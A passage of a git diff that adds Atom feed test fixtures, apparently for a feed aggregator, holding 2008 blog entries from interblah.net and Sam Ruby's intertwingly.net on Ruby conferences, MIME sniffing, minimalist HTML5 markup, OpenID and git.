+&lt;p&gt;Since the vote started, I've been trying to fathom why this vote irks me so. Please do &lt;a href="http://lrug.org/what-are-we-going-to-do-about-a-logo/"&gt;take a look at them all&lt;/a&gt;.  It really shouldn't; after all, the first logo I made was silly. I helped instigate &lt;a href="http://lrug.org/nights/"&gt;LRUG Nights&lt;/a&gt; and all the graphical and conceptual nonsense around that. "El Rug" isn't even the silliest option (I'd say that honour falls to the magazine+floor covering combo), or the least aesthetic (the pseudo-communist Skills Matter logo tops my personal least-visually-appealing chart). And this logo isn't even &lt;em&gt;for&lt;/em&gt; us. We're not going to get it printed on t-shirts or caps; it's just to give &lt;em&gt;other people&lt;/em&gt;, to put on &lt;em&gt;their&lt;/em&gt; sites when they ask for a graphic that represents the London Ruby User Group.&lt;/p&gt;
+
+&lt;p&gt;Hmm.&lt;/p&gt;
+
+&lt;p&gt;I think, for what it's worth, that it's the collective silliness of the votes itself that's getting to me. The slightly-anarchic "lets just vote for the funniest joke" aspect of it. Maybe even the thought that LRUG itself, as a collection of people, cannot achieve anything beyond the internet equivalent of giggling for an hour because somebody farted. This observed internet behaviour is not new, of course. It's everywhere, and everyone participates to some degree in its continuation. And life isn't all seriousness, after all.&lt;/p&gt;
+
+&lt;p&gt;But there's something about this that makes me feel less good about LRUG in general. Could it be true that a large proportion of the attendees contribute not by volunteering time and energy in the form of presentations or meeting ideas, but simply by making the bar more difficult to get to afterwards, and voting on this thread in the least useful way possible? But then, there are people who voted for "El Rug" who &lt;em&gt;do* contribute to the Ruby community, and *have&lt;/em&gt; given talks at LRUG. So it's not just that; I must be missing something.&lt;/p&gt;
+
+&lt;p&gt;I realise, and this is the most annoying aspect of the whole thing, that there's no good reason for this to bother me in the way that it does. I &lt;em&gt;must&lt;/em&gt; be taking it too seriously. But still - interblah.net is my party, and I'll cry if I want to.&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>rubyfools-redux</title>
+    <id>tag:interblah.net,2008-04-08:/rubyfools-redux</id>
+    <updated>2008-06-01T13:37:19+00:00</updated>
+    <published>2008-04-08T12:00:00+00:00</published>
+    <link href="http://interblah.net/rubyfools-redux"/>
+    <author>
+      <name>interblah.net</name>
+    </author>
+    <content type="html">&lt;h1&gt;Rubyfools, Redux&lt;/h1&gt;
+
+&lt;p&gt;Thanks to everyone who attended the RubyFools conferences in Copenhagen and Oslo! I had a great time, even if I did end up in hospital:&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://interblah.net/assets/2008/4/8/copenhagen_start_slide.001.jpg" title="My first slide from the Copenhagen presentation. I was worried that my voice wouldn't hold up!"&gt;&lt;img src="http://interblah.net/assets/2008/4/8/copenhagen_start_slide.001.jpg" width="425" height="318"&gt;&lt;/img&gt;&lt;/p&gt;
+
+&lt;p&gt;The story is simply that I got some food stuck in my throat (lodged around about &lt;a href="http://interblah.net/assets/2008/4/8/throat.005.jpg"&gt;here&lt;/a&gt; to be exact), which meant that I couldn't swallow anything. At all. After a few hours of spitting every 5 minutes to avoid drowning, we took a trip to the hospital, and they kept me in overnight after fizzy-water torture failed to dislodge the offending piece of fondue meat. &lt;/p&gt;
+
+&lt;p&gt;In actual fact, everyone was really nice, and I couldn't imagine a better hospital experience. So - to the medial staff of Copenhagen's hospitals - thanks!&lt;/p&gt;
+
+&lt;p&gt;Anyway - the slides from the Oslo incarnation of my presentation are now available &lt;a href="http://jaoo.dk/ruby-oslo/file?path=/jaoo-ruby-oslo-2008/slides/RubyFools%20Presentation%20(Oslo%20revision).pdf"&gt;at the RubyFools site&lt;/a&gt;. They've been cleaned up a bit, but basically represent that talk as given.&lt;/p&gt;
+
+&lt;p&gt;I really enjoyed the conference overall; I've found that smaller conferences (200 people or less) make it easier for everyone to meet, and for an overall sense of "the conference" to emerge. The bigger conferences are still fun, but seem to end up more chaotic, with far too much time being spent coordinating who to eat dinner with, and whether or not to go to talks or just spend time outside talking. &lt;/p&gt;
+
+&lt;p&gt;Keep it under 200 people and you can still engage with the speaker during presentations, and get to know (or at least meet) most of the other people attending.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src="http://interblah.net/assets/2008/4/8/rails_rocket.002.jpg" width="425" height="318"&gt;&lt;/p&gt;
+
+&lt;p&gt;Hopefully they'll invite me back next year, and I can try out the hospitals in Norway!&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>thanks-feedburner</title>
+    <id>tag:interblah.net,2008-03-27:/thanks-feedburner</id>
+    <updated>2008-05-08T15:13:57+00:00</updated>
+    <published>2008-03-27T08:40:00+00:00</published>
+    <link href="http://interblah.net/thanks-feedburner"/>
+    <author>
+      <name>interblah.net</name>
+    </author>
+    <content type="html">&lt;h1&gt;Thanks, Feedburner&lt;/h1&gt;
+
+&lt;p&gt;This is my feedburner subscriber list, over time:&lt;/p&gt;
+
+&lt;div style="padding: 10px; background-color: white; margin-bottom: 1em; text-align: center;"&gt;&lt;img src="http://interblah.net/assets/2008/3/27/Picture_2.png"&gt;&lt;/div&gt;
+
+&lt;p&gt;So apparently the feed for interblah.net hasn't been working for a while. I spent an hour or so poking around the guts of Mephisto this morning, and it should be working again.&lt;/p&gt;
+
+&lt;p&gt;What I don't get is why Feedburner didn't alert me to the sudden disappearance of the feed (it was returning a 500 error). Surely this would be a useful service? There are no "FeedMedic" reports in my account, so I can only presume that they didn't notice.&lt;/p&gt;
+
+&lt;p&gt;Weird.&lt;/p&gt;
+
+&lt;p&gt;Anyway, service resumes as normal! In case you missed any of the more recent posts, I've been talking about &lt;a href="http://interblah.net/2008/3/13/vanilla-rb"&gt;Vanilla.rb&lt;/a&gt;, &lt;a href="http://interblah.net/2008/3/21/i-m-such-a-fool"&gt;Speaking at RubyFools&lt;/a&gt;, and that fact that &lt;a href="http://interblah.net/2008/1/10/shared-hosting-is-alright"&gt;shared hosting isn't evil&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;(&lt;strike&gt;There's something still broken regarding the comments, alas. Perhaps that will motivate me to finish &lt;a href="http://interblah.net/2008/3/13/vanilla-rb"&gt;Vanilla.rb&lt;/a&gt;!&lt;/strike&gt;)&lt;/p&gt;
+
+&lt;p&gt;(Update: comments fixed. Probably. But I'm still going to finish &lt;a href="http://interblah.net/2008/3/13/vanilla-rb"&gt;Vanilla&lt;/a&gt;.)&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>i-m-such-a-fool</title>
+    <id>tag:interblah.net,2008-03-21:/i-m-such-a-fool</id>
+    <updated>2008-06-01T16:26:17+00:00</updated>
+    <published>2008-03-21T14:29:00+00:00</published>
+    <link href="http://interblah.net/i-m-such-a-fool"/>
+    <author>
+      <name>interblah.net</name>
+    </author>
+    <content type="html">&lt;h1&gt;I'm Such a Fool&lt;/h1&gt;
+
+&lt;p&gt;I forgot to mention that &lt;a href="http://jaoo.dk/ruby-cph/speaker/James+Adam"&gt;I'll be speaking&lt;/a&gt; at the upcoming &lt;a href="http://jaoo.dk/ruby-cph/conference/"&gt;Ruby Fools&lt;/a&gt; conferences in &lt;a href="http://jaoo.dk/ruby-cph/conference/"&gt;Copenhagen&lt;/a&gt; and &lt;a href="http://jaoo.dk/ruby-oslo/conference/"&gt;Oslo&lt;/a&gt;. &lt;/p&gt;
+
+&lt;p&gt;That's right, a double whammy of my Ruby presentation nonsense. The &lt;a href="http://jaoo.dk/ruby-cph/presentation/The+Dark+Art+of+Developing+Plugin"&gt;title of the presentation&lt;/a&gt; is the same as the presentation I gave at RailsConf in Portland last year, but I assure that the content won't be the same. There are only so many times you can flash huge projections of ruby lightning and torrents of blood-red rain before the authorities become involved, you know?&lt;/p&gt;
+
+&lt;p&gt;As an aside, it's kind of hilarious that they let you (by you I mean me) write your (my) own bio for these conference things. I mean, how seriously can you take someone who's biography centres around Acts As Hasselhoff? That said, they did strip the link to it from the text, so at least &lt;em&gt;someone&lt;/em&gt; is trying to protect the public...&lt;/p&gt;
+
+&lt;p&gt;Anyway - RubyFools! Copenhagen on April 1st and 2nd, then Oslo on April 3rd and 4th. Mighty Matz will be there, along with a whole bunch of other Ruby types, none of which I'm sure need introductions from the likes of me. It's going to be my first time in the &lt;a href="http://weblog.rubyonrails.org/2008/2/11/rubyfools-danish-ruby-conference-april-1-2"&gt;birthplace of Rails&lt;/a&gt;, but I've no doubt that it's going to be fun.&lt;/p&gt;
+
+&lt;p&gt;Are you going? Anything you'd like me to &lt;a href="http://interblah.net/2006/10/15/another-thing-from-which-i-have-spared-you-all"&gt;spout about&lt;/a&gt; in particular? Any &lt;a href="http://www.robbyonrails.com/articles/2006/10/06/pictures-from-ajaxworld-2006"&gt;kitsch&lt;/a&gt; &lt;a href="http://interblah.net/2007/2/3/conferences-2007"&gt;celebrities&lt;/a&gt; you'd like me to target? Let me know - otherwise, you've only yourselves to &lt;a href="http://interblah.net/2006/8/17/something-from-which-i-have-recently-spared-you-all"&gt;blame&lt;/a&gt;... :)&lt;/p&gt;
+
+&lt;p&gt;See you there!&lt;/p&gt;</content>
+  </entry>
+</feed>
diff --git a/tests/twisted/local/data/relative-links.atom b/tests/twisted/local/data/relative-links.atom
new file mode 100644 (file)
index 0000000..c363b7c
--- /dev/null
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0">
+  <link rel="self" href="http://intertwingly.net/blog/index.atom"/>
+  <id>http://intertwingly.net/blog/index.atom</id>
+  <icon>../favicon.ico</icon>
+
+  <title>Sam Ruby</title>
+  <subtitle>It’s just data</subtitle>
+  <author>
+    <name>Sam Ruby</name>
+    <email>rubys@intertwingly.net</email>
+    <uri>/blog/</uri>
+  </author>
+  <updated>2008-07-05T09:28:36-04:00</updated>
+  <link href="/blog/"/>
+  <link rel="license" href="http://creativecommons.org/licenses/BSD/"/>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2864</id>
+    <link href="/blog/2008/07/02/authoritative-true"/>
+    <link rel="replies" href="2864.atom" thr:count="31" thr:updated="2008-07-05T09:28:27-04:00"/>
+    <title>authoritative=true</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="105" height="95" viewBox="0 0 105 95">
+<path fill="#7B4" d="M106,13c-21,9-31,4-40-2l-10,35c9,6,20,11,40,2l10-35z"/>
+<path fill="#49c" d="M39,83c-9-6-18-10-39-2l10-35c21-9,31-4,39,2l-10,35z"/>
+<path fill="#E63" d="M51,42c-5-4-11-7-19-7c-6,0-12,1-20,5l10-35c20-8,30-4,39,2l-10,35z"/>
+<path fill="#FD5" d="M55,52c9,6,18,10,39,2l-10,35c-21,8-30,3-39-3l10-34z"/>
+</svg>
+<p><a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx"><cite>Eric Lawrence</cite></a>: <em>we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type</em></p>
+<p>While I’m not a fan of content-sniffing, one of my few pet peeves with HTML5 is that it endeavors to <a href="http://www.whatwg.org/specs/web-apps/current-work/#content-type3">institutionalize the practice</a> with no provisions for content providers to opt out.  As the lesser of the available evils, I hope Microsoft’s proposal is quickly adopted by other browsers.</p></div></content>
+    <updated>2008-07-02T21:37:10-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2863</id>
+    <link href="/blog/2008/06/30/June-31st"/>
+    <link rel="replies" href="2863.atom" thr:count="1" thr:updated="2008-06-30T20:51:55-04:00"/>
+    <title>June 31st</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="75" height="113" viewBox="0 0 75 113">
+<path d="M44,13c-42,39,-46,60-12,54c1-1,1,0,1,5c0,7,0,9,4,9c5,0,4-1,4-9c0,-4-1-8,0-9c2-9,0-11-7-7c-14,8,-26,4,2-21l14-14c8,-8,0,-15-7-7" fill="#838"/>
+<circle r="7" fill="#838" cx='38' cy='93'/>
+</svg>
+<p><a href="http://www.dehora.net/journal/2008/07/01/june-31st/"><cite>Bill de hÓra</cite></a>: <em>You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.</em></p>
+<p><b>Update</b>: seems to be better now.  Will leave with <a href="http://www.dehora.net/journal/2008/07/">this</a> somewhat odd page.</p></div></content>
+    <published>2008-06-30T19:45:52-04:00</published>
+    <updated>2008-06-30T20:20:28-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2862</id>
+    <link href="/blog/2008/06/26/Unable-to-Complete-the-Call-as-Dialed"/>
+    <link rel="replies" href="2862.atom" thr:count="11" thr:updated="2008-06-30T21:48:09-04:00"/>
+    <title>Unable to Complete the Call as Dialed</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs">Tim Bray</a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="130" height="77" viewBox="0 0 130 77">
+  <path d="M2,12l8-6h11v11l-6,8zM62,12l8-6h11v11l-6,8zM2,62l8-6h11v11l-6,8zM62,62l8-6h11v11l-6,8z" fill="#fe898b"/>
+  <path d="M2,12h13v13h-13zM62,12h13v13h-13zM2,62h13v13h-13zM62,62h13v13h-13z" fill="#cb0612"/>
+
+  <path d="M23,12l8-6h29v11l-5,7h-4v9l-6,7zM59,68l-5,6l-30-11l6-7h3v-8l6-5h11v14h9z" fill="#52a9ff"/>
+  <path d="M23,12h32v12h-10v16h-12v-16h-10zM54,74h-30v-11h9v-15h12v15h9z" fill="#5c64b5"/>
+
+  <path d="M84,12l8-6c18-4,38,19,34,27l-5,6zM84,63c18,4,38,5,42-21h-12l-5,6c-2,14,-18,10-20,10z" fill="#87f7a2"/>
+  <path d="M84,12c20-5,41,15,37,27h-12c0-12-8-15-25-15zM84,75c20,3,41-15,37-27h-12c0,12-8,15-25,15z" fill="#18bf73"/>
+</svg>
+<p><a href="http://www.tbray.org/ongoing/When/200x/2008/06/26/TLDs"><cite>Tim Bray</cite></a>: <em>I’m not sure whether this <a href="http://www.theregister.co.uk/2008/06/26/icann_approves_customized_top_level_domains/">free-TLD</a> idea is a good or bad thing in the big picture</em></p>
+<p>When I was a young’un, <a href="http://en.wikipedia.org/wiki/North_American_Numbering_Plan#History">telephone area codes in North America</a> had a zero or a one a the middle digit, and none of the exchanges in such area codes had such.  This enabled telephone switching equipment to detect whether the number you were dialing was a local or long distance number without requiring a one to be dialed first.  Eventually, phone numbers became scarce, and this was ditched.</p>
+<p>This meant that the <abbr title="Private Branch eXchange">PBX</abbr> equipment in a number of locations were unable to make calls to these new numbers, and had to be replaced.</p>
+<p>The modern equivalent of this may be <a href="http://www.regular-expressions.info/email.html">email addresses</a>.  Consider the fun that will occur when existing software is presented with email addresses that contain non-latin characters.</p></div></content>
+    <updated>2008-06-26T20:42:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2861</id>
+    <link href="/blog/2008/06/24/Minimalist-Markup"/>
+    <link rel="replies" href="2861.atom" thr:count="29" thr:updated="2008-06-28T01:16:15-04:00"/>
+    <title>Minimalist Markup</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.</p>
+<p>My <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) will be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M38,38c0-12,24-15,23-2c0,9-16,13-16,23v7h11v-4c0-9,17-12,17-27c-2-22-45-22-45,3zM45,70h11v11h-11z" fill="#371"/>
+  <circle cx="50" cy="50" r="45" fill="none" stroke="#371" stroke-width="10"/>
+</svg>
+<p>While <a href="http://tomayko.com/writings/administrative-debris">Ryan</a>, <a href="http://www.b-list.org/weblog/2008/jun/15/minimal/">James</a>, and <a href="http://diveintomark.org/archives/2008/06/21/minimalism">Mark</a> have been pursing a minimalist design from a presentation perspective, I’ve been quietly pursuing a minimalist design from a markup perspective.  I’m not sure when it changed, but Firefox 3.0, Safari 3.1.1, and Opera 9.5 now all support units of <em>em</em> in SVG dimensions.</p>
+<p>This means that my <a href="http://rails.intertwingly.net/blog/">front page</a> (under development) can be <a href="http://html5.validator.nu/?doc=http%3A%2F%2Frails.intertwingly.net%2Fblog%2F">valid HTML5</a> and yet have absolutely no <code>div</code> or <code>span</code> elements, no inline <code>style</code> or <code>class</code> attributes, and no <code>table</code> or <code>img</code> elements used purely for layout purposes.</p>
+<p>I have more work to do on individual post pages and on the archives.  The archives will continue to employ a table for the calendar.</p></div></content>
+    <updated>2008-06-24T19:10:50-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2860</id>
+    <link href="/blog/2008/06/23/OpenID-Check-on-Rails"/>
+    <link rel="replies" href="2860.atom" thr:count="0"/>
+    <title>OpenID Check on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I need to somehow have the id of the unprocessed record tag alone with the identity request.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M43,90c-88,-16,-21,-86,41,-51l9,-6v17h-26l8,-5c-55,-25,-86,29,-32,36z" fill="#ccc"/>
+  <path d="M43,90v-75l14,-9v75z" fill="#f60"/>
+</svg>
+<p>Looking at <a href="http://agilewebdevelopment.com/plugins/openidauthentication">openidauthentication</a>, it doesn’t seem to do everything <a href="http://www.intertwingly.net/blog/2006/12/28/Unobtrusive-OpenID">I want</a>.  Since I am looking to check an identity during the processing of a request, I don’t need a ‘login’, instead I need to somehow have the id of the unprocessed record tag alone with the identity request.</p>
+<p>The <a href="http://www.danwebb.net/2007/2/27/the-no-shit-guide-to-supporting-openid-in-your-applications">No Shit Guide</a> is quite a bit simpler, but is based on the <a href="http://openidenabled.com/ruby-openid/">1.1.x version of the ruby-openid</a> library.</p>
+<p><a href="http://intertwingly.net/stories/2008/06/23/openid_controller.rb">This controller</a> contains a simpler pair of methods (one public, one protected) that does what I want and can easily be adapted.  Simply drop these two methods into your favorite controller and modify the actions that are taken at the obvious points (DiscoveryFailure, success, failure, cancel, other).  At the moment, all that is done is that the data is logged and/or stashed into a session, but it could easily be modified so that a failure or cancel could trigger moderation, or a required preview, or a captcha, or whatever.</p></div></content>
+    <updated>2008-06-23T15:20:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2859</id>
+    <link href="/blog/2008/06/19/Intertwingly-on-Git"/>
+    <link rel="replies" href="2859.atom" thr:count="4" thr:updated="2008-06-21T08:17:00-04:00"/>
+    <title>Intertwingly on Git</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">I’ve installed git and gitweb, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="120" height="70" viewBox="0 0 120 70">
+  <path d="M20,20h20m5,0h20m5,0h20" stroke="#c00000" stroke-width="10"/>
+  <path d="M20,40h20m5,0h20m5,0h20M30,30v20m25,0v-20m25,0v20" stroke="#008000" stroke-width="6"/>
+</svg>
+<p>I’ve installed <a href="http://git.or.cz/">git</a> and <a href="http://git.or.cz/gitwiki/Gitweb">gitweb</a>, and put up my <a href="http://code.intertwingly.net/public/git/?p=riggr;a=summary">initial code explorations</a> for a Ruby on Rails based rewrite of this blog’s software.  Neither the code nor the tests are all that much just yet, mostly just scaffolding and CSS, a small bit of controller logic, and the autogenerated tests and fixtures.  But anybody out there feels compelled to try it out, go for it:</p>
+<pre class="code">git clone http://code.intertwingly.net/public/git/riggr
+rake db:migrate
+rake test</pre>
+<p>Initial impressions:</p>
+<ul>
+<li>Git is <b>fast</b></li>
+<li>The integration with ssh and pre/post commit hooks makes even single developer apps a breeze.</li>
+</ul>
+
+<p>Links I found useful in the process: </p>
+<ul>
+<li><a href="http://autopragmatic.com/2008/01/26/hosting-a-git-repository-on-dreamhost/">Hosting a git repository on dreamhost</a></li>
+<li><a href="http://toolmantim.com/article/2007/12/5/setting_up_a_new_rails_app_with_git">Setting up a new Rails app with Git</a></li>
+<li><a href="http://ozmm.org/posts/git_post_commit_for_profit.html">Git post-commit for profit</a></li>
+<li><a href="http://tomayko.com/writings/the-thing-about-git">The Thing About Git</a></li>
+</ul></div></content>
+    <updated>2008-06-19T16:09:25-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2858</id>
+    <link href="/blog/2008/06/19/Atom-PubSub-module-for-ejabberd"/>
+    <link rel="replies" href="2858.atom" thr:count="1" thr:updated="2008-06-19T22:29:55-04:00"/>
+    <title>Atom-PubSub module for ejabberd</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="80" height="120" viewBox="0 0 80 120">
+  <path d="M9,15c-1,21,4,11,6,9c10-15,48-6,53,12c14,38-30,30-23,67c1,1,3,2,4-1c-10-29,44-25,22-70c-10-29-52-27-62-17z
+M18,80c5,6,13,9,20,6c3-1,3,1,2,3c-5,3-20,2-26-5c-5-5,0-12,4-4z
+M18,92c5,3,9,5,18,5c7-2,6,3,2,4c-5,2-20-3-22-6c-10-6-7-11,2-3z
+M18,103c5,3,15,7,20,4c5-3,7-1,2,2c-5,5-21,2-26-3c-8-5-3-13,4-3z" fill="#C00"/>
+  <path d="M20,64c-1-13,9-15,12-6c5-5,20-8,6,13c-3,5-5,4-4-1c13-15,2-13-3-8c-1-11-9-7-7,2c1,7-2,7-4,0z" fill="#fb0"/>
+</svg>
+<a href="http://www.cestari.info/2008/6/19/atom-pubsub-module-for-ejabberd"><cite>Eric Cestari</cite></a>: <em>This module will offer an AtomPub interface to ejabberd PubSub data... The AtomPub interface passes the Atom Protocol Exerciser (though some warnings remain).  It means that any AtomPub clients will be able to post to a specific node in your PubSub tree.  It also means that your PubSub tree will also be available as an AtomFeed.</em>  [via <a href="http://intertwingly.net/blog/2007/09/27/Comment-Notification-via-XMPP#c1213866387"><cite>kael</cite></a>]</div></content>
+    <updated>2008-06-19T06:35:00-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2857</id>
+    <link href="/blog/2008/06/16/Intertwingly-on-Rails"/>
+    <link rel="replies" href="2857.atom" thr:count="10" thr:updated="2008-07-04T07:46:07-04:00"/>
+    <title>Intertwingly on Rails</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#039" x="0" y="3" height="95" width="95" rx="15"/>
+  <path d='M20,56L19,35C19,30,27,20,33,21L55,21A30,30,0,0,1,20,56Z' fill='#369' stroke='#369' stroke-linejoin='round' stroke-width='5px'/>
+  <path d='M17,67A37,37,0,0,0,67,18A36,36,0,1,1,17,67' fill='#FFF'/>
+</svg>
+<p>Views: <a href="http://rails.intertwingly.net/blog/">index</a>, <a href="http://rails.intertwingly.net/blog/2008/6/14/Advertise-One-Feed-Format">post</a>, <a href="http://rails.intertwingly.net/blog/comments.html">comments</a>, <a href="http://rails.intertwingly.net/blog/archives/2008/06">archives</a></p>
+<p>This clearly is just modest beginnings.  A snapshot of existing data.  Read-only views at this point.  No caching.</p>
+<p>Technology is Rails 2.0.2 on <a href="http://www.sqlite.org/">SQLite3</a> using <a href="http://www.modrails.com/">Phusion Passenger</a> on <a href="http://www.dreamhost.com/">Dreamhost</a>.</p>
+<p>Installation would have been a simple <abbr title="Secure CoPy">scp</abbr> except for two issues: despite what it says in <a href="http://rails.dreamhosters.com/">this list</a>, the sqlite3-ruby gem does not appear to be installed.  And the current date on the machine appears to be Feb 15, 3155.</p>
+<p>For the model part, I can’t quite bear to break with the idea of flat files yet, so the model consists of two tables: posts and comments, and each contain dates and file name parts only.  The remainder of the model is populated using an after_find hook from the flat files.</p>
+<p>With my current Intertwingly, I had three views that had diverged over time, as well as a “partial” which contained the navigation bar.  The <a href="http://intertwingly.net/blog/">front page</a> (and <a href="http://intertwingly.net/blog/comments.html">comments page</a>) are clean XHTML5, <a href="http://intertwingly.net/blog/2008/06/13/Advertise-One-Feed-Format">individual posts</a> are XHTML1, and the <a href="http://intertwingly.net/blog/archives/">archives</a> are based a layout that I used back when I was on Radio Userland.  In the Rails implementation, I have four views and a layout (index and comments becoming separate views).  Having a common layout encourages consistency, and you can see the difference in the archive view already.  More work needs to be done on the individual posts view.</p>
+<p>The controller methods are positively pedestrian at this point.  They simply obtain the necessary information from the model, and then proceed to render the associated view.</p>
+<p>This is but a modest beginning... allowing people to enter new comments, openid, implementing spam avoidance measures, automated extraction of excerpts, ... the list goes on and on.  But first, I plan to put this code under version control (probably <a href="http://git.or.cz/">git</a>), and implement a test suite.</p></div></content>
+    <updated>2008-06-16T14:53:44-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2856</id>
+    <link href="/blog/2008/06/13/Advertise-One-Feed-Format"/>
+    <link rel="replies" href="2856.atom" thr:count="6" thr:updated="2008-06-16T14:54:38-04:00"/>
+    <title>Advertise One Feed Format</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <rect fill="#F80" x="0" y="3" height="95" width="95" rx="15"/>
+  <circle cx="18" cy="81" r="9" fill="#FFF"/>
+  <path d="M48,84s0-33-33-33 M75,84s0-60-60-60"
+    stroke-linecap="round" stroke-width="15" stroke="#FFF" fill="none"/>
+</svg>
+<p><a href="http://www.somebits.com/weblog/tech/bad/atom-vs-rss-wtf.html">Nelson Minar</a> starts a meme.  <a href="http://rc3.org/2008/06/13/pick-one-feed-format/">Rafe Colburn</a> waters it down.  I’ve watered it down even further.</p>
+<p>Whatever you call your feed, Safari will call it RSS.  Don’t sweat the small stuff.</p>
+<p>Which format should you pick?  I’d suggest that you pick whichever one that you can consistently produce with the fewest errors and warnings detected by the <a href="http://feedvalidator.org/">feedvalidator</a>.  Test with <a href="http://www.intertwingly.net/stories/2004/04/14/i18n.html">Iñtërnâtiônàlizætiøn</a> and <a href="http://www.intertwingly.net/blog/2006/07/14/Another-Month">ampersands</a> in titles.  <a href="http://groups.google.com/group/feedvalidator-users/browse_thread/thread/3dfdad4905b72f9b">June</a>, particularly in the <a href="http://www.timeanddate.com/library/abbreviations/timezones/eu/bst.html">UK</a> is also a good time to test.</p></div></content>
+    <updated>2008-06-13T20:42:30-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2855</id>
+    <link href="/blog/2008/06/11/RX-for-Pain"/>
+    <link rel="replies" href="2855.atom" thr:count="2" thr:updated="2008-06-12T11:34:06-04:00"/>
+    <title>RX for Pain</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M20,100l74-5l6-75zM61,35l37-2l-29-24z' fill='#b11'/>
+<path d='M21,100l74-5l-47-4zM98,33c4-12,5-29-14-33l-15,9l29,24z' fill='#811'/>
+<path d='M7,67l14,33l11-38z' fill='#d44'/>
